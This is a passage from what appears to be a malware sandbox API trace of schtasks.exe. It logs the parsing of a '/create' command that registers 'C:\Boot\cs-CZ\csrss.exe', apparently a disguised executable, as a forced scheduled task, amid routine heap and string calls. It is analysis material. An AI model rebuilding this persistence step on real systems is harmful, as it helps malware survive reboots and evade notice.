(lpString="/tr") returned 3 [0067.835] GetProcessHeap () returned 0x220000 [0067.835] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x8) returned 0x23c3f0 [0067.835] GetProcessHeap () returned 0x220000 [0067.835] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x20) returned 0x23ce10 [0067.835] SetLastError (dwErrCode=0x0) [0067.835] SetLastError (dwErrCode=0x0) [0067.835] lstrlenW (lpString="'C:\\Boot\\cs-CZ\\csrss.exe'") returned 25 [0067.835] lstrlenW (lpString="-/") returned 2 [0067.835] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0067.835] SetLastError (dwErrCode=0x490) [0067.835] SetLastError (dwErrCode=0x490) [0067.835] SetLastError (dwErrCode=0x0) [0067.835] lstrlenW (lpString="'C:\\Boot\\cs-CZ\\csrss.exe'") returned 25 [0067.835] StrChrIW (lpStart="'C:\\Boot\\cs-CZ\\csrss.exe'", wMatch=0x3a) returned=":\\Boot\\cs-CZ\\csrss.exe'" [0067.835] lstrlenW (lpString="'C:\\Boot\\cs-CZ\\csrss.exe'") returned 25 [0067.835] GetProcessHeap () returned 0x220000 [0067.835] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x18) returned 0x23c410 [0067.835] _memicmp (_Buf1=0x23c410, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.835] GetProcessHeap () returned 0x220000 [0067.835] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0xe) returned 0x23c430 [0067.835] GetProcessHeap () returned 0x220000 [0067.835] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x18) returned 0x23d5e0 [0067.835] _memicmp (_Buf1=0x23d5e0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.835] GetProcessHeap () returned 0x220000 [0067.835] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x36) returned 0x237ba0 [0067.836] SetLastError (dwErrCode=0x7a) [0067.836] SetLastError (dwErrCode=0x0) [0067.836] SetLastError (dwErrCode=0x0) [0067.836] lstrlenW (lpString="'C") returned 2 [0067.836] lstrlenW (lpString="-/") returned 2 [0067.836] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0067.836] SetLastError (dwErrCode=0x490) [0067.836] SetLastError (dwErrCode=0x490) [0067.836] SetLastError (dwErrCode=0x0) [0067.836] lstrlenW (lpString="'C:\\Boot\\cs-CZ\\csrss.exe'") returned 25 [0067.836] GetProcessHeap () returned 0x220000 [0067.836] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x34) returned 0x237be0 [0067.836] GetProcessHeap () returned 0x220000 [0067.836] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x20) returned 0x23ce40 [0067.836] SetLastError (dwErrCode=0x0) [0067.836] SetLastError (dwErrCode=0x0) [0067.836] lstrlenW (lpString="/f") returned 2 [0067.836] lstrlenW (lpString="-/") returned 2 [0067.836] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0067.836] lstrlenW (lpString="?") returned 1 [0067.836] lstrlenW (lpString="?") returned 1 [0067.836] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.836] lstrlenW (lpString="f") returned 1 [0067.836] _memicmp (_Buf1=0x23c2e0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.836] _vsnwprintf (in: _Buffer=0x23c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11f738 | out: _Buffer="|?|") returned 3 [0067.836] _vsnwprintf (in: _Buffer=0x23c300, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11f738 | out: _Buffer="|f|") returned 3 [0067.836] lstrlenW (lpString="|?|") returned 3 [0067.836] lstrlenW (lpString="|f|") returned 3 [0067.836] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0067.836] SetLastError (dwErrCode=0x490) [0067.836] lstrlenW (lpString="create") returned 6 [0067.836] lstrlenW (lpString="create") returned 6 [0067.837] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.837] lstrlenW (lpString="f") returned 1 [0067.837] _memicmp (_Buf1=0x23c2e0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.837] _vsnwprintf (in: _Buffer=0x23c320, _BufferCount=0x9, _Format="|%s|", _ArgList=0x11f738 | out: _Buffer="|create|") returned 8 [0067.837] _vsnwprintf (in: _Buffer=0x23c300, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11f738 | out: _Buffer="|f|") returned 3 [0067.837] lstrlenW (lpString="|create|") returned 8 [0067.837] lstrlenW (lpString="|f|") returned 3 [0067.837] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0067.837] SetLastError (dwErrCode=0x490) [0067.837] lstrlenW (lpString="delete") returned 6 [0067.837] lstrlenW (lpString="delete") returned 6 [0067.837] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.837] lstrlenW (lpString="f") returned 1 [0067.837] _memicmp (_Buf1=0x23c2e0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.837] _vsnwprintf (in: _Buffer=0x23c320, _BufferCount=0x9, _Format="|%s|", _ArgList=0x11f738 | out: _Buffer="|delete|") returned 8 [0067.837] _vsnwprintf (in: _Buffer=0x23c300, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11f738 | out: _Buffer="|f|") returned 3 [0067.837] lstrlenW (lpString="|delete|") returned 8 [0067.837] lstrlenW (lpString="|f|") returned 3 [0067.837] StrStrIW (lpFirst="|delete|", lpSrch="|f|") returned 0x0 [0067.837] SetLastError (dwErrCode=0x490) [0067.837] lstrlenW (lpString="query") returned 5 [0067.837] lstrlenW (lpString="query") returned 5 [0067.837] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.837] lstrlenW (lpString="f") returned 1 [0067.837] _memicmp (_Buf1=0x23c2e0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.837] _vsnwprintf (in: _Buffer=0x23c320, _BufferCount=0x8, _Format="|%s|", _ArgList=0x11f738 | out: _Buffer="|query|") returned 7 [0067.838] _vsnwprintf (in: _Buffer=0x23c300, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11f738 | out: _Buffer="|f|") returned 3 [0067.838] lstrlenW (lpString="|query|") returned 7 [0067.838] lstrlenW (lpString="|f|") returned 3 [0067.839] StrStrIW (lpFirst="|query|", lpSrch="|f|") returned 0x0 [0067.839] SetLastError (dwErrCode=0x490) [0067.839] lstrlenW (lpString="change") returned 6 [0067.839] lstrlenW (lpString="change") returned 6 [0067.839] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.839] lstrlenW (lpString="f") returned 1 [0067.839] _memicmp (_Buf1=0x23c2e0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.839] _vsnwprintf (in: _Buffer=0x23c320, _BufferCount=0x9, _Format="|%s|", _ArgList=0x11f738 | out: _Buffer="|change|") returned 8 [0067.839] _vsnwprintf (in: _Buffer=0x23c300, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11f738 | out: _Buffer="|f|") returned 3 [0067.839] lstrlenW (lpString="|change|") returned 8 [0067.839] lstrlenW (lpString="|f|") returned 3 [0067.839] StrStrIW (lpFirst="|change|", lpSrch="|f|") returned 0x0 [0067.839] SetLastError (dwErrCode=0x490) [0067.839] lstrlenW (lpString="run") returned 3 [0067.839] lstrlenW (lpString="run") returned 3 [0067.839] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.839] lstrlenW (lpString="f") returned 1 [0067.839] _memicmp (_Buf1=0x23c2e0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.839] _vsnwprintf (in: _Buffer=0x23c320, _BufferCount=0x6, _Format="|%s|", _ArgList=0x11f738 | out: _Buffer="|run|") returned 5 [0067.839] _vsnwprintf (in: _Buffer=0x23c300, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11f738 | out: _Buffer="|f|") returned 3 [0067.839] lstrlenW (lpString="|run|") returned 5 [0067.839] lstrlenW (lpString="|f|") returned 3 [0067.839] StrStrIW (lpFirst="|run|", lpSrch="|f|") returned 0x0 [0067.839] SetLastError (dwErrCode=0x490) [0067.839] lstrlenW (lpString="end") returned 3 [0067.839] lstrlenW (lpString="end") returned 3 [0067.840] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.840] lstrlenW (lpString="f") returned 1 [0067.840] _memicmp (_Buf1=0x23c2e0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.840] _vsnwprintf (in: _Buffer=0x23c320, _BufferCount=0x6, _Format="|%s|", _ArgList=0x11f738 | out: _Buffer="|end|") returned 5 [0067.840] _vsnwprintf (in: _Buffer=0x23c300, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11f738 | out: _Buffer="|f|") returned 3 [0067.840] lstrlenW (lpString="|end|") returned 5 [0067.840] lstrlenW (lpString="|f|") returned 3 [0067.840] StrStrIW (lpFirst="|end|", lpSrch="|f|") returned 0x0 [0067.840] SetLastError (dwErrCode=0x490) [0067.840] lstrlenW (lpString="showsid") returned 7 [0067.840] lstrlenW (lpString="showsid") returned 7 [0067.840] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.840] lstrlenW (lpString="f") returned 1 [0067.840] _memicmp (_Buf1=0x23c2e0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.840] _vsnwprintf (in: _Buffer=0x23c320, _BufferCount=0xa, _Format="|%s|", _ArgList=0x11f738 | out: _Buffer="|showsid|") returned 9 [0067.840] _vsnwprintf (in: _Buffer=0x23c300, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11f738 | out: _Buffer="|f|") returned 3 [0067.840] lstrlenW (lpString="|showsid|") returned 9 [0067.840] lstrlenW (lpString="|f|") returned 3 [0067.840] StrStrIW (lpFirst="|showsid|", lpSrch="|f|") returned 0x0 [0067.840] SetLastError (dwErrCode=0x490) [0067.840] SetLastError (dwErrCode=0x490) [0067.840] SetLastError (dwErrCode=0x0) [0067.840] lstrlenW (lpString="/f") returned 2 [0067.840] StrChrIW (lpStart="/f", wMatch=0x3a) returned 0x0 [0067.840] SetLastError (dwErrCode=0x490) [0067.840] SetLastError (dwErrCode=0x0) [0067.840] lstrlenW (lpString="/f") returned 2 [0067.840] GetProcessHeap () returned 0x220000 [0067.840] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x6) returned 0x23ddb0 [0067.840] GetProcessHeap () returned 0x220000 [0067.840] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x20) returned 0x23ce70 [0067.841] SetLastError (dwErrCode=0x0) [0067.841] GetProcessHeap () returned 0x220000 [0067.841] GetProcessHeap () returned 0x220000 [0067.841] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23c2c0) returned 1 [0067.841] GetProcessHeap () returned 0x220000 [0067.841] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23c2c0) returned 0x8 [0067.841] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23c2c0 | out: hHeap=0x220000) returned 1 [0067.841] GetProcessHeap () returned 0x220000 [0067.841] GetProcessHeap () returned 0x220000 [0067.841] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23ccf0) returned 1 [0067.841] GetProcessHeap () returned 0x220000 [0067.841] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23ccf0) returned 0x20 [0067.841] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23ccf0 | out: hHeap=0x220000) returned 1 [0067.841] GetProcessHeap () returned 0x220000 [0067.841] GetProcessHeap () returned 0x220000 [0067.841] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23c350) returned 1 [0067.841] GetProcessHeap () returned 0x220000 [0067.841] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23c350) returned 0xe [0067.842] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23c350 | out: hHeap=0x220000) returned 1 [0067.842] GetProcessHeap () returned 0x220000 [0067.842] GetProcessHeap () returned 0x220000 [0067.842] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23cd20) returned 1 [0067.842] GetProcessHeap () returned 0x220000 [0067.842] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23cd20) returned 0x20 [0067.842] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23cd20 | out: hHeap=0x220000) returned 1 [0067.842] GetProcessHeap () returned 0x220000 [0067.842] GetProcessHeap () returned 0x220000 [0067.842] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23c370) returned 1 [0067.842] GetProcessHeap () returned 0x220000 [0067.842] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23c370) returned 0x8 [0067.842] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23c370 | out: hHeap=0x220000) returned 1 [0067.842] GetProcessHeap () returned 0x220000 [0067.842] GetProcessHeap () returned 0x220000 [0067.842] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23cd50) returned 1 [0067.842] GetProcessHeap () returned 0x220000 [0067.842] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23cd50) returned 0x20 [0067.843] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23cd50 | out: hHeap=0x220000) returned 1 [0067.843] GetProcessHeap () returned 0x220000 [0067.843] GetProcessHeap () returned 0x220000 [0067.843] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23c390) returned 1 [0067.843] GetProcessHeap () returned 0x220000 [0067.843] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23c390) returned 0xe [0067.843] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23c390 | out: hHeap=0x220000) returned 1 [0067.843] GetProcessHeap () returned 0x220000 [0067.843] GetProcessHeap () returned 0x220000 [0067.843] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23cd80) returned 1 [0067.843] GetProcessHeap () returned 0x220000 [0067.843] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23cd80) returned 0x20 [0067.843] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23cd80 | out: hHeap=0x220000) returned 1 [0067.843] GetProcessHeap () returned 0x220000 [0067.843] GetProcessHeap () returned 0x220000 [0067.844] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23c3b0) returned 1 [0067.844] GetProcessHeap () returned 0x220000 [0067.844] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23c3b0) returned 0x8 [0067.844] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23c3b0 | out: hHeap=0x220000) returned 1 [0067.844] GetProcessHeap () returned 0x220000 [0067.844] GetProcessHeap () returned 0x220000 [0067.844] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23cdb0) returned 1 [0067.844] GetProcessHeap () returned 0x220000 [0067.844] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23cdb0) returned 0x20 [0067.844] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23cdb0 | out: hHeap=0x220000) returned 1 [0067.844] GetProcessHeap () returned 0x220000 [0067.844] GetProcessHeap () returned 0x220000 [0067.844] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23c3d0) returned 1 [0067.844] GetProcessHeap () returned 0x220000 [0067.844] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23c3d0) returned 0x4 [0067.844] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23c3d0 | out: hHeap=0x220000) returned 1 [0067.844] GetProcessHeap () returned 0x220000 [0067.844] GetProcessHeap () returned 0x220000 [0067.844] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23cde0) returned 1 [0067.844] GetProcessHeap () returned 0x220000 [0067.845] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23cde0) returned 0x20 [0067.845] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23cde0 | out: hHeap=0x220000) returned 1 [0067.845] GetProcessHeap () returned 0x220000 [0067.845] GetProcessHeap () returned 0x220000 [0067.845] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23c3f0) returned 1 [0067.845] GetProcessHeap () returned 0x220000 [0067.845] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23c3f0) returned 0x8 [0067.845] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23c3f0 | out: hHeap=0x220000) returned 1 [0067.845] GetProcessHeap () returned 0x220000 [0067.845] GetProcessHeap () returned 0x220000 [0067.845] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23ce10) returned 1 [0067.845] GetProcessHeap () returned 0x220000 [0067.845] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23ce10) returned 0x20 [0067.846] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23ce10 | out: hHeap=0x220000) returned 1 [0067.846] GetProcessHeap () returned 0x220000 [0067.846] GetProcessHeap () returned 0x220000 [0067.846] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x237be0) returned 1 [0067.846] GetProcessHeap () returned 0x220000 [0067.846] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x237be0) returned 0x34 [0067.846] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x237be0 | out: hHeap=0x220000) returned 1 [0067.846] GetProcessHeap () returned 0x220000 [0067.846] GetProcessHeap () returned 0x220000 [0067.846] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23ce40) returned 1 [0067.846] GetProcessHeap () returned 0x220000 [0067.846] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23ce40) returned 0x20 [0067.847] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23ce40 | out: hHeap=0x220000) returned 1 [0067.847] GetProcessHeap () returned 0x220000 [0067.847] GetProcessHeap () returned 0x220000 [0067.847] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23ddb0) returned 1 [0067.847] GetProcessHeap () returned 0x220000 [0067.847] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23ddb0) returned 0x6 [0067.847] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23ddb0 | out: hHeap=0x220000) returned 1 [0067.847] GetProcessHeap () returned 0x220000 [0067.847] GetProcessHeap () returned 0x220000 [0067.847] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23ce70) returned 1 [0067.847] GetProcessHeap () returned 0x220000 [0067.847] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23ce70) returned 0x20 [0067.847] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23ce70 | out: hHeap=0x220000) returned 1 [0067.847] GetProcessHeap () returned 0x220000 [0067.847] GetProcessHeap () returned 0x220000 [0067.847] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x237f40) returned 1 [0067.847] GetProcessHeap () returned 0x220000 [0067.848] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x237f40) returned 0x18 [0067.848] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x237f40 | out: hHeap=0x220000) returned 1 [0067.848] SetLastError (dwErrCode=0x0) [0067.848] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0067.848] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0067.848] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0067.848] VerifyVersionInfoW (in: lpVersionInformation=0x11c790, dwTypeMask=0x3, dwlConditionMask=0x800000000001801b | out: lpVersionInformation=0x11c790) returned 1 [0067.848] SetLastError (dwErrCode=0x0) [0067.848] lstrlenW (lpString="create") returned 6 [0067.848] StrChrIW (lpStart="create", wMatch=0x7c) returned 0x0 [0067.848] SetLastError (dwErrCode=0x490) [0067.848] SetLastError (dwErrCode=0x0) [0067.848] lstrlenW (lpString="create") returned 6 [0067.848] GetProcessHeap () returned 0x220000 [0067.848] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x20) returned 0x23ce70 [0067.848] GetProcessHeap () returned 0x220000 [0067.848] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x18) returned 0x23d600 [0067.848] _memicmp (_Buf1=0x23d600, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.848] GetProcessHeap () returned 0x220000 [0067.848] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x16) returned 0x23d620 [0067.849] SetLastError (dwErrCode=0x0) [0067.849] _memicmp (_Buf1=0x23bb50, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.849] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x23bcf0, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0067.849] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x744 [0067.849] GetProcessHeap () returned 0x220000 [0067.849] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x74e) returned 0x23ddb0 [0067.849] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x74e, lpData=0x23ddb0 | out: lpData=0x23ddb0) returned 1 [0067.849] VerQueryValueW (in: pBlock=0x23ddb0, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x11c878, puLen=0x11c8e0 | out: lplpBuffer=0x11c878*=0x23e14c, puLen=0x11c8e0) returned 1 [0067.849] _memicmp (_Buf1=0x23bb50, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.850] _vsnwprintf (in: _Buffer=0x23bcf0, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x11c858 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0067.850] VerQueryValueW (in: pBlock=0x23ddb0, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x11c8e8, puLen=0x11c8d8 | out: lplpBuffer=0x11c8e8*=0x23df78, puLen=0x11c8d8) returned 1 [0067.850] lstrlenW (lpString="schtasks.exe") returned 12 [0067.850] lstrlenW (lpString="schtasks.exe") returned 12 [0067.850] lstrlenW (lpString=".EXE") returned 4 [0067.850] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0067.850] lstrlenW (lpString="schtasks.exe") returned 12 [0067.850] lstrlenW (lpString=".EXE") returned 4 [0067.850] lstrlenW (lpString="schtasks") returned 8 [0067.850] lstrlenW (lpString="/create") returned 7 [0067.850] _memicmp (_Buf1=0x23bb50, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.850] _vsnwprintf (in: _Buffer=0x23bcf0, _BufferCount=0x19, _Format="%s %s", _ArgList=0x11c858 | out: _Buffer="schtasks /create") returned 16 [0067.850] _memicmp (_Buf1=0x23bb70, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.850] GetProcessHeap () returned 0x220000 [0067.850] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x20) returned 0x23ce40 [0067.850] _memicmp (_Buf1=0x23bb90, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.850] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x23d3a0, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0067.850] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0067.850] GetProcessHeap () returned 0x220000 [0067.850] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x30) returned 0x237be0 [0067.850] _vsnwprintf (in: _Buffer=0x23c0f0, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x11c858 | out: _Buffer="Type \"SCHTASKS /CREATE /?\" for usage.") returned 37 [0067.850] GetProcessHeap () returned 0x220000 [0067.850] GetProcessHeap () returned 0x220000 [0067.850] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23ddb0) returned 1 [0067.850] GetProcessHeap () returned 0x220000 [0067.850] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23ddb0) returned 0x74e [0067.851] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23ddb0 | out: hHeap=0x220000) returned 1 [0067.851] SetLastError (dwErrCode=0x0) [0067.851] GetThreadLocale () returned 0x409 [0067.851] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0067.851] lstrlenW (lpString="create") returned 6 [0067.851] GetThreadLocale () returned 0x409 [0067.851] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0067.851] lstrlenW (lpString="?") returned 1 [0067.851] GetThreadLocale () returned 0x409 [0067.851] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0067.851] lstrlenW (lpString="s") returned 1 [0067.851] GetThreadLocale () returned 0x409 [0067.851] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0067.851] lstrlenW (lpString="u") returned 1 [0067.851] GetThreadLocale () returned 0x409 [0067.851] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0067.851] lstrlenW (lpString="p") returned 1 [0067.851] GetThreadLocale () returned 0x409 [0067.851] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0067.851] lstrlenW (lpString="ru") returned 2 [0067.851] GetThreadLocale () returned 0x409 [0067.851] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0067.851] lstrlenW (lpString="rp") returned 2 [0067.851] GetThreadLocale () returned 0x409 [0067.851] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0067.852] lstrlenW (lpString="sc") returned 2 [0067.852] GetThreadLocale () returned 0x409 [0067.852] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0067.852] lstrlenW (lpString="mo") returned 2 [0067.852] GetThreadLocale () returned 0x409 [0067.852] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0067.852] lstrlenW (lpString="d") returned 1 [0067.852] GetThreadLocale () returned 0x409 [0067.852] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0067.852] lstrlenW (lpString="m") returned 1 [0067.852] GetThreadLocale () returned 0x409 [0067.852] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0067.852] lstrlenW (lpString="i") returned 1 [0067.852] GetThreadLocale () returned 0x409 [0067.852] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0067.852] lstrlenW (lpString="tn") returned 2 [0067.852] GetThreadLocale () returned 0x409 [0067.852] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0067.852] lstrlenW (lpString="tr") returned 2 [0067.853] GetThreadLocale () returned 0x409 [0067.853] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0067.853] lstrlenW (lpString="st") returned 2 [0067.853] GetThreadLocale () returned 0x409 [0067.853] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0067.853] lstrlenW (lpString="sd") returned 2 [0067.853] GetThreadLocale () returned 0x409 [0067.853] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0067.853] lstrlenW (lpString="ed") 